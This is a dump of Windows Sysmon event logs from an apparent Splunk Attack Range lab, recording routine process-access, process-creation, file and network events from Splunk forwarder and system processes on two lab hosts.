14:48:34.091{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014596Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:34.091{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014595Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:34.091{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014594Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:34.091{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014593Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:34.091{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-7042-613B-B304-00000000F101}3900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014592Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:34.091{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7042-613B-B304-00000000F101}3900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014591Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:34.091{625C326B-7042-613B-B304-00000000F101}3900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000046850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:35.732{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=733742616B87C4912C5B4901AF4A2DF2,SHA256=8A2DABB0BC90E8507181ACC17D69D0429052456F619925EDAAA327E8F0513FB9,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014634Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.855{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7043-613B-B504-00000000F101}3148C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014633Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.855{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014632Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.855{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014631Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.855{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014630Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.855{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014629Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.855{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014628Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.855{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014627Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.855{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014626Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.855{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014625Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.855{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7043-613B-B504-00000000F101}3148C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014624Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.855{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014623Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.855{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7043-613B-B504-00000000F101}3148C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014622Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.855{625C326B-7043-613B-B504-00000000F101}3148C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000014621Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:33.384{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50169-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000014620Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.386{625C326B-7043-613B-B404-00000000F101}35803976C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014619Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.183{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7043-613B-B404-00000000F101}3580C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014618Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.183{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014617Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.183{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014616Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.183{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014615Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.183{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014614Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 